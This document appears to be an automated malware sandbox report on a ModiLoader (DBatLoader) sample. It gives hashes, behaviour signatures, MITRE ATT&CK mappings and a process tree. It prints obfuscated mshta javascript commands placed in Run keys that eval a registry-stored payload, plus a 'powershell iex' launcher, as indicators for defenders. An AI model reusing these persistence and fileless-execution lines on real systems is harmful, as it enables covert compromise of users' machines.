Overview
overview
10Static
static
830bc4934d7...f0.exe
windows7-x64
6338fdf3626...13.exe
windows7-x64
1342933cb4c...20.exe
windows7-x64
9343ace5874...03.exe
windows7-x64
834818CE171...49.dll
windows7-x64
8360390_crypt.exe
windows7-x64
4360390_tree.cmd
windows7-x64
73896f8a370...e_.exe
windows7-x64
73a061ee07d...8c.dll
windows7-x64
33af4fa2bff...d1.dll
windows7-x64
33bb691982d...21.exe
windows7-x64
93e3f980ab6...95.exe
windows7-x64
73e3f980ab6...26.exe
windows7-x64
73e75e8238a..._2.exe
windows7-x64
6400cad56ff...9a.exe
windows7-x64
940b3cb2a21...0c.exe
windows7-x64
9425c42d610...5F.exe
windows7-x64
7425c42d610...FF.exe
windows7-x64
742d77128db...e7.exe
windows7-x64
74561647.exe
windows7-x64
9457C9141EC...C8.exe
windows7-x64
1046a9660c57...83.exe
windows7-x64
346ca6b1972...FB.exe
windows7-x64
746ca6b1972...FC.exe
windows7-x64
74e60f3c8ea...5b.exe
windows7-x64
84f0b660543...B3.exe
windows7-x64
74f0b660543...BB.exe
windows7-x64
74f5bff6416...09.exe
windows7-x64
7Versamento...__.exe
windows7-x64
94fda5e7e8e...00.exe
windows7-x64
75 Rules for Snort.doc
windows7-x64
7502de64ee4...c2.exe
windows7-x64
9Analysis
-
max time kernel
1800s -
max time network
1729s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-11-2024 02:21
Behavioral task
behavioral1
Sample
30bc4934d7e29c8c4c4c9be0510fc7558fddf8db666a0343784c5cf1587b3af0.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
338fdf3626aa4a48a5972f291aacf3d6172dd920fe16ac4da4dd6c5b999d2f13.exe
Resource
win7-20240903-en
Behavioral task
behavioral3
Sample
342933cb4cbb31a2c30ac1733afc318a6e5cd0226160a59197686d635ec71b20.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
343ace5874a5854858e11e6c196007bffc045717ed29db9b03f23d01568e8303.exe
Resource
win7-20240903-en
Behavioral task
behavioral5
Sample
34818CE171EA150B91429AC1DD6FBE49.dll
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
360390_crypt.exe
Resource
win7-20240903-en
Behavioral task
behavioral7
Sample
360390_tree.cmd
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
3896f8a37034429e9784d767765d85ef6dcde105320568516fac4e31400514db.exe_.exe
Resource
win7-20240903-en
Behavioral task
behavioral9
Sample
3a061ee07d87a6bb13e613e000e9f685cbffb96bd7024a9e7b4cb0be9a4af38c.dll
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
3af4fa2bffaab37fd557ae8146ae0a29ba0faf6d99ad8a1a8d5bf598ac9a23d1.dll
Resource
win7-20241010-en
Behavioral task
behavioral11
Sample
3bb691982de416a7a4e57b91211e80bea82dcca7b4bdbf25c0c80451dc138421.exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
3e3f980ab668ccde6aafee60ce16e3c35cd91e9b59bff20ce1615d5fb362a458_Dumped_TDS=4FBA3695.exe
Resource
win7-20240903-en
Behavioral task
behavioral13
Sample
3e3f980ab668ccde6aafee60ce16e3c35cd91e9b59bff20ce1615d5fb362a458_TDS=4FBADA26.exe
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
3e75e8238a6bbd8817164658696198af_72889f61171de37d6b4d59016c55ec52__2.exe
Resource
win7-20240903-en
Behavioral task
behavioral15
Sample
400cad56ff3d210346cf6c4795aeb607e5b211b3dc4a8421b9437621c254239a.exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
40b3cb2a210fafdaabdebefe1430862bd1192a80fcde84f51ceb387136d1410c.exe
Resource
win7-20240708-en
Behavioral task
behavioral17
Sample
425c42d6108db6b6b5cbda7a5417b5f55225c47ac588f5f0a293c2b07a78d14b_Dumped_TDS=4F8C315F.exe
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
425c42d6108db6b6b5cbda7a5417b5f55225c47ac588f5f0a293c2b07a78d14b_TDS=4F9906FF.exe
Resource
win7-20240903-en
Behavioral task
behavioral19
Sample
42d77128db6bea33966478f01aecda1cf6c17bf9ab5d5782650c1b32cd63bae7.exe
Resource
win7-20240729-en
Behavioral task
behavioral20
Sample
4561647.exe
Resource
win7-20241010-en
Behavioral task
behavioral21
Sample
457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
46a9660c57e244636a28df62e0879300a62552ab9b5cfd4708ff677af7453883.exe
Resource
win7-20240903-en
Behavioral task
behavioral23
Sample
46ca6b1972c81eab77202146184afe95b797bd4e3788c59e8036e748b55fc28c_Dumped_TDS=4FB252FB.exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
46ca6b1972c81eab77202146184afe95b797bd4e3788c59e8036e748b55fc28c_TDS=4FB566FC.exe
Resource
win7-20240729-en
Behavioral task
behavioral25
Sample
4e60f3c8eaa0441d4ffdced18aa04153bb91b5470bc5441ba5878f7760ca9b5b.exe
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
4f0b6605434c1355b10950024eaa9f695822278f57c29275706c0e5b29b369b0_Dumped_TDS=4F9911B3.exe
Resource
win7-20240903-en
Behavioral task
behavioral27
Sample
4f0b6605434c1355b10950024eaa9f695822278f57c29275706c0e5b29b369b0_TDS=4FA6FBBB.exe
Resource
win7-20241010-en
Behavioral task
behavioral28
Sample
4f5bff64160044d9a769ab277ff85ba954e2a2e182c6da4d0672790cf1d48309.exe
Resource
win7-20240729-en
Behavioral task
behavioral29
Sample
Versamento.Pdf______________________________________________________________.exe
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
4fda5e7e8e682870e993f97ad26ba6b2.000.exe
Resource
win7-20240903-en
Behavioral task
behavioral31
Sample
5 Rules for Snort.doc
Resource
win7-20240903-en
Behavioral task
behavioral32
Sample
502de64ee4fe0133a1ea5efa4919c03bbca1adc2.exe
Resource
win7-20240903-en
General
-
Target
457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe
-
Size
274KB
-
MD5
d476d735ba41702724d7dd7f5d1c32c3
-
SHA1
457c9141ecdd9e9cfc61551fea2bcb86aff56cc8
-
SHA256
1fc62e423ea4522f559aebf7642efe2c83a563c6eeff0192432725efde096e1a
-
SHA512
66337c6180d095d9b7447dcd0a4b9a3cce2e81f3c0ee3bf94e8cc0285f9395a045b8f250abb1fd82d0de1aefe20dc9353857f51201b722caf805c63661b39e20
-
SSDEEP
6144:8AsBZW+83AjJJkjb8elFfnBhnjgGxuXUYMoRf1ThAIR:L+MAj94FpljjuXL/l12IR
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Modiloader family
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2440 2632 mshta.exe 32 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 46 IoCs
resource yara_rule behavioral21/memory/1580-29-0x0000000000400000-0x0000000000438000-memory.dmp modiloader_stage2 behavioral21/memory/1580-34-0x0000000000400000-0x0000000000438000-memory.dmp modiloader_stage2 behavioral21/memory/1580-36-0x0000000000400000-0x0000000000438000-memory.dmp modiloader_stage2 behavioral21/memory/1580-37-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-41-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-40-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-39-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-38-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-42-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/1580-43-0x0000000001CE0000-0x0000000001DAC000-memory.dmp modiloader_stage2 behavioral21/memory/2680-53-0x0000000006230000-0x00000000062FC000-memory.dmp modiloader_stage2 behavioral21/memory/1512-54-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-56-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/2680-57-0x0000000006230000-0x00000000062FC000-memory.dmp modiloader_stage2 behavioral21/memory/1512-59-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-58-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-69-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-71-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-63-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-64-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-62-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-61-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-65-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-60-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-66-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-67-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-68-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-74-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-79-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-82-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-81-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-80-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-78-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-76-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-75-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-73-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-72-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-85-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-87-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-86-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-84-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-83-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/1512-70-0x00000000001A0000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral21/memory/2192-90-0x0000000000230000-0x0000000000362000-memory.dmp modiloader_stage2 behavioral21/memory/2192-89-0x0000000000230000-0x0000000000362000-memory.dmp modiloader_stage2 behavioral21/memory/2192-88-0x0000000000230000-0x0000000000362000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:MMX8Y7UZI=\"2m\";f3B=new%20ActiveXObject(\"WScript.Shell\");Q3inGHzZ0E=\"TyB0wEu6h\";PK6KS7=f3B.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0ad95c969b\\\\63b0f3b5\");LoOzMYNw7=\"2tJtO2\";eval(PK6KS7);lHwWINg3=\"VXmIv\";" regsvr32.exe -
Contacts a large (541) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 1512 regsvr32.exe -
Loads dropped DLL 2 IoCs
pid Process 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe -
Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:fmCzN1f=\"lttmjOUy\";E26a=new%20ActiveXObject(\"WScript.Shell\");TSLBfv1O=\"YSjyx5\";MxsZ5=E26a.RegRead(\"HKCU\\\\software\\\\0ad95c969b\\\\63b0f3b5\");s3KZlTi9I=\"fk0Osg\";eval(MxsZ5);HQr5Jnf=\"nu\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Local\\uqomut\\qIbb0.fzI72" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:amUoBtL0V=\"X\";lE07=new%20ActiveXObject(\"WScript.Shell\");geHc3v0jbg=\"48dQ\";QJiw30=lE07.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0ad95c969b\\\\63b0f3b5\");b4IBL9Avb=\"BqwGMm\";eval(QJiw30);LyP19YQK=\"GWnFL5npZ\";" regsvr32.exe -
pid Process 2680 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 580 set thread context of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 2680 set thread context of 1512 2680 powershell.exe 36 PID 1512 set thread context of 2192 1512 regsvr32.exe 37 PID 1512 set thread context of 2864 1512 regsvr32.exe 50 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\.fzI72 regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\.fzI72\ = "4jR2JTbk" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\4jR2JTbk regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\4jR2JTbk\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\4jR2JTbk\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\4jR2JTbk\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\4jR2JTbk\shell\open\command\ = "mshta \"javascript:VtE7J9Drnp=\"czM\";qt5=new ActiveXObject(\"WScript.Shell\");SkT00Aul=\"V9s30qI\";Afw29m=qt5.RegRead(\"HKCU\\\\software\\\\0ad95c969b\\\\63b0f3b5\");SVGk1MXL1=\"i9X\";eval(Afw29m);RQ4XmzD=\"Wi\";\"" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2680 powershell.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe 1512 regsvr32.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 2680 powershell.exe 1512 regsvr32.exe 1512 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2680 powershell.exe -
Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 580 wrote to memory of 1580 580 457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe 31 PID 2440 wrote to memory of 2680 2440 mshta.exe 34 PID 2440 wrote to memory of 2680 2440 mshta.exe 34 PID 2440 wrote to memory of 2680 2440 mshta.exe 34 PID 2440 wrote to memory of 2680 2440 mshta.exe 34 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 2680 wrote to memory of 1512 2680 powershell.exe 36 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2192 1512 regsvr32.exe 37 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50 PID 1512 wrote to memory of 2864 1512 regsvr32.exe 50
Processes
-
C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"C:\Users\Admin\AppData\Local\Temp\457C9141ECDD9E9CFC61551FEA2BCB86AFF56CC8.exe"2⤵
- System Location Discovery: System Language Discovery
PID:1580
-
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:Y7NteFq6="x4";hb9=new%20ActiveXObject("WScript.Shell");dmCjyL28="SPu0Lz6";Qlg61F=hb9.RegRead("HKLM\\software\\Wow6432Node\\uUHRzi\\29mDkSA2jU");Pd1Caeve="wxSDI";eval(Qlg61F);xKZC54fcws="kOTnuXQ";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:rmspgj2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2192
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2864
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Discovery
File and Directory Discovery
1Network Service Discovery
1Peripheral Device Discovery
1Query Registry
4Software Discovery
1System Information Discovery
3System Location Discovery
1System Language Discovery
1Virtualization/Sandbox Evasion
3Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
11KB
MD5883eff06ac96966270731e4e22817e11
SHA1523c87c98236cbc04430e87ec19b977595092ac8
SHA25644e5dfd551b38e886214bd6b9c8ee913c4c4d1f085a6575d97c3e892b925da82
SHA51260333253342476911c84bbc1d9bf8a29f811207787fdd6107dce8d2b6e031669303f28133ffc811971ed7792087fe90fb1faabc0af4e91c298ba51e28109a390
-
Filesize
11KB
MD5ae06b929b3f282d0dbc87e461795a8ff
SHA17b2c2242008d0b05c205b70ff4639a9b59539bab
SHA256a869b6a12d4266f1b474091fc687db54a40ba34e1721853a00727c2b450e37d7
SHA512e59c42373ba2ae3fc6acf84aadbeaa589aba36604398a1eda58f0c27766255c37a09d1ed362757a97423dc8c2bc36ab31c176b018fccb2bf988b1341c471e246